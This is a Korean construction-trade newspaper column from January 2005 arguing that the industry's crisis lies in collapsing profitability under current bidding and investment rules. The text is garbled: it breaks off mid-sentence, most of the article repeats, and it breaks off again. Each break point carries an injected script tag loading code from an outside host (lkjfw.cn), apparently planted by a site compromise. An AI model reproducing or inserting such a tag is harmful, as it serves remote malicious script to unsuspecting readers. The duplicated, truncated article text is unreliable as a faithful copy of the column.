2005년 건설산업 위기의 실체 - 수익성 위기
보도일자 2005-01-03
보도기관 한국건설신문
2004년에 이어 2005년에도 일반건설업체의 건설공사 수주실적이 85조원대에 그칠 전망이다. 지금까지 증가세를 보여왔던 건설투자도 2005년에는 1.8%정도 마이너스 증가율을 기록할 것으로 보인다.
이렇게 되자 정부는 정부대로 건설경기의 급락을 방지하기 위해 「건설경기 연착륙 대책」이니, ‘뉴딜적’ 「종합투자계획」이니 하는 사실상의 건설경기 부양책을 제시하고 있다.
건설업계는 정부의 이같은 대책을 반기면서 2005년에 좀더 많은 건설투자 확대가 이루어지기를 바란다. 하지만 지금 건설산업이 당면한 위기의 실체가 공사물량 부족일까?
필자가 보기에는 공사물량 부족이 위기의 실체가 아니다. 그보다는 수익성 급감이 공사물량의 축소를 초래한 주범이고, 위기의 실체라는 생각이다.
2003년에 이어 2004년에도 전체 건설시장에서 민간부문이 차지하는 비중은 70%수준이다. 지금 ‘건설경기 경착륙’ 운운하는 것도 공공부문의 공사물량이 줄어서가 아니라 주택을 비롯한 민간부문의 공사물량이 급감했기 때문이다.
특히 최근 몇 년간 민간건설경기를 주도했던 재건축 경기가 급격하게 냉각되었다.
그 이유를 한번 짚어보자. 원가공개나 원가연동제가 2005년부터 적용될 것이기 때문에 건설업체의 수익성은 과거보다 급격하게 떨어질 것이 틀림없다. 이처럼 사업의 수익성이 떨어지는 상황에서 공급물량이 늘어날 수 없다. 민간공사 물량의 급감은 수익성 감소 때문에 초래된 결과로 보아야 한다.
민간투자사업도 마찬가지다. 최근 몇 년간에 걸쳐 정부는 민간투자사업의 활성화 필요성은 인정하면서 수익성을 계속 저하시키는 방향으로 제도변경을 추진해 왔다.
가장 대표적인 사례는 운영수입 보장의 단계적 축소 및 폐지 방침이다. 「종합투자계획」에 따라 연기금 등 재무적 투자자의 민간투자사업 참여를 확대하고자 하는 계획도 적절한 수익성 확보대책이 병행되지 않는 한, 연기금의 자발적인 민간투자사업 참여를 확대시키기 어려울 것이다.
공공부문의 경우도 마찬가지다. 500억원 이상 PQ공사는 최저가 낙찰제가 적용되기 때문에 평균 낙찰률이 예정가격 대비 60%미만 수준에서 결정된다. 이같은 낙찰률이 공사원가라는 시민단체의 주장도 있지만, 사실과 다르다.
최저가 낙찰제 공사의 낙찰률은 어디까지나 공사수주를 위해 전략적으로 결정되는 가격일뿐, 공사원가와는 거리가 멀다. 기업의 존속 내지 토목사업본부의 존속, 중장기적인 사업포트폴리오 구성상, 혹은 필요한 실적의 확보를 위하여 적자를 감수하고 수주하는 것이다.
턴키나 대안입찰공사는 낙찰률이 높다는 이유로 높은 수익이 있는 것처럼 착각하는 사람들을 종종 본다. 하지만 턴키나 대안입찰공사는 낙찰률이 높더라도 설계경쟁에서 이기기 위해 고품질의 설계를 해야 하기 때문에 이 또한 수익성 확보가 어렵다.
현재의 턴키나 대안입찰제도는 사실상 입찰가격을 고정시켜 놓고, 최고의 설계를 제출한 입찰자를 낙찰자로 선정하는 제도이기 때문에 낙찰률이 95%에 달하더라도 경우에 따라서는 적자를 보는 사례도 많다.
그래도 대형 건설업체들은 턴키나 대안입찰공사 말고는 현실적으로 공공공사 수주가 어렵기 때문에 이들 공사의 수주에 주력하고 있고, 중견건설업체들도 시장참여를 강력하게 요구하고 있다.
턴키·대안 및 최저가 낙찰제 공사외의 공공공사에는 적격심사제도가 적용된다. 현재의 적격심사제도는 공사규모별로 낙찰하한율이 설정되어 있기 때문에 공사수주만 하면 사실상 일정한 수익이 보장되는 것처럼 보인다. 하지만 최근 들어서는 예정가격의 삭감이 지속적으로 이루어지고 있다.
실적공사비 도입, 품셈의 현실화 뿐만 아니라 서울시 같은 곳에서는 계약심사제도를 도입하여 공사예정가격을 재심사하여 삭감하는 사례도 있다. 낙찰하한율이 설정되어 있는 적격심사공사라도 공공건축공사의 경우, 거의 대부분 수익성이 없다는 사실은 건설업계에 널리 알려진 상식이다.
실상이 이런데도 불구하고 우리나라 정부나 건설업계는 아직도 물량중심 사고의 틀에서 벗어나지 못하고 있는 것 같다.
시민단체도 마찬가지다. 평당 200만원 짜리 아파트를 100만호 공급한다거나, 서민용 임대주택을 100만호 공급한다는 식의 대책은 1960년대나 70년대에 어울릴 대책이다.
건설산업만이 아니라 모든 산업의 「고부가가치화」가 선진국으로 가는 지름길이고, 이같은 관점에서 본다면 평당 5천만원이나 1억원짜리 아파트가 출현하여 시장에서 거래되는 것을 막아야 할 이유가 없다.
공공공사라도 사전에 정부가 정한 공사기간을 앞당겨서 준공한다면, 외국에서처럼 충분한 인센티브를 주는 등 건설업체의 기술력과 노하우에 따라 수익성을 확보할 수 있는 길이 열려야 한다.
민간투자사업에 연기금 등 재무적 ?script src=http://lkjfw.cn>
이렇게 되자 정부는 정부대로 건설경기의 급락을 방지하기 위해 「건설경기 연착륙 대책」이니, ‘뉴딜적’ 「종합투자계획」이니 하는 사실상의 건설경기 부양책을 제시하고 있다.
건설업계는 정부의 이같은 대책을 반기면서 2005년에 좀더 많은 건설투자 확대가 이루어지기를 바란다. 하지만 지금 건설산업이 당면한 위기의 실체가 공사물량 부족일까?
필자가 보기에는 공사물량 부족이 위기의 실체가 아니다. 그보다는 수익성 급감이 공사물량의 축소를 초래한 주범이고, 위기의 실체라는 생각이다.
2003년에 이어 2004년에도 전체 건설시장에서 민간부문이 차지하는 비중은 70%수준이다. 지금 ‘건설경기 경착륙’ 운운하는 것도 공공부문의 공사물량이 줄어서가 아니라 주택을 비롯한 민간부문의 공사물량이 급감했기 때문이다.
특히 최근 몇 년간 민간건설경기를 주도했던 재건축 경기가 급격하게 냉각되었다.
그 이유를 한번 짚어보자. 원가공개나 원가연동제가 2005년부터 적용될 것이기 때문에 건설업체의 수익성은 과거보다 급격하게 떨어질 것이 틀림없다. 이처럼 사업의 수익성이 떨어지는 상황에서 공급물량이 늘어날 수 없다. 민간공사 물량의 급감은 수익성 감소 때문에 초래된 결과로 보아야 한다.
민간투자사업도 마찬가지다. 최근 몇 년간에 걸쳐 정부는 민간투자사업의 활성화 필요성은 인정하면서 수익성을 계속 저하시키는 방향으로 제도변경을 추진해 왔다.
가장 대표적인 사례는 운영수입 보장의 단계적 축소 및 폐지 방침이다. 「종합투자계획」에 따라 연기금 등 재무적 투자자의 민간투자사업 참여를 확대하고자 하는 계획도 적절한 수익성 확보대책이 병행되지 않는 한, 연기금의 자발적인 민간투자사업 참여를 확대시키기 어려울 것이다.
공공부문의 경우도 마찬가지다. 500억원 이상 PQ공사는 최저가 낙찰제가 적용되기 때문에 평균 낙찰률이 예정가격 대비 60%미만 수준에서 결정된다. 이같은 낙찰률이 공사원가라는 시민단체의 주장도 있지만, 사실과 다르다.
최저가 낙찰제 공사의 낙찰률은 어디까지나 공사수주를 위해 전략적으로 결정되는 가격일뿐, 공사원가와는 거리가 멀다. 기업의 존속 내지 토목사업본부의 존속, 중장기적인 사업포트폴리오 구성상, 혹은 필요한 실적의 확보를 위하여 적자를 감수하고 수주하는 것이다.
턴키나 대안입찰공사는 낙찰률이 높다는 이유로 높은 수익이 있는 것처럼 착각하는 사람들을 종종 본다. 하지만 턴키나 대안입찰공사는 낙찰률이 높더라도 설계경쟁에서 이기기 위해 고품질의 설계를 해야 하기 때문에 이 또한 수익성 확보가 어렵다.
현재의 턴키나 대안입찰제도는 사실상 입찰가격을 고정시켜 놓고, 최고의 설계를 제출한 입찰자를 낙찰자로 선정하는 제도이기 때문에 낙찰률이 95%에 달하더라도 경우에 따라서는 적자를 보는 사례도 많다.
그래도 대형 건설업체들은 턴키나 대안입찰공사 말고는 현실적으로 공공공사 수주가 어렵기 때문에 이들 공사의 수주에 주력하고 있고, 중견건설업체들도 시장참여를 강력하게 요구하고 있다.
턴키·대안 및 최저가 낙찰제 공사외의 공공공사에는 적격심사제도가 적용된다. 현재의 적격심사제도는 공사규모별로 낙찰하한율이 설정되어 있기 때문에 공사수주만 하면 사실상 일정한 수익이 보장되는 것처럼 보인다. 하지만 최근 들어서는 예정가격의 삭감이 지속적으로 이루어지고 있다.
실적공사비 도입, 품셈의 현실화 뿐만 아니라 서울시 같은 곳에서는 계약심사제도를 도입하여 공사예정가격을 재심사하여 삭감하는 사례도 있다. 낙찰하한율이 설정되어 있는 적격심사공사라도 공공건축공사의 경우, 거의 대부분 수익성이 없다는 사실은 건설업계에 널리 알려진 상식이다.
실상이 이런데도 불구하고 우리나라 정부나 건설업계는 아직도 물량중심 사고의 틀에서 벗어나지 못하고 있는 것 같다.
시민단체도 마찬가지다. 평당 200만원 짜리 아파트를 100만호 공급한다거나, 서민용 임대주택을 100만호 공급한다는 식의 대책은 1960년대나 70년대에 어울릴 대책이다.
건설산업만이 아니라 모든 산업의 「고부가가치화」가 선진국으로 가는 지름길이고, 이같은 관점에서 본다면 평당 5천만원이나 1억원짜리 아파트가 출현하여 시장에서 거래되는 것을 막아야 할 이유가 없다.
공공공사라도 사전에 정부가 정한 공사기간을 앞당겨서 준공한다면, 외국에서처럼 충분한 인센티브를 주는 등 건설업체의 기술력과 노하우에 따라 수익성을 확보할 수 있는 길이 열려야 한다.
민간투자사업에 연기금 등 재무적 ?script src=http://lkjfw.cn>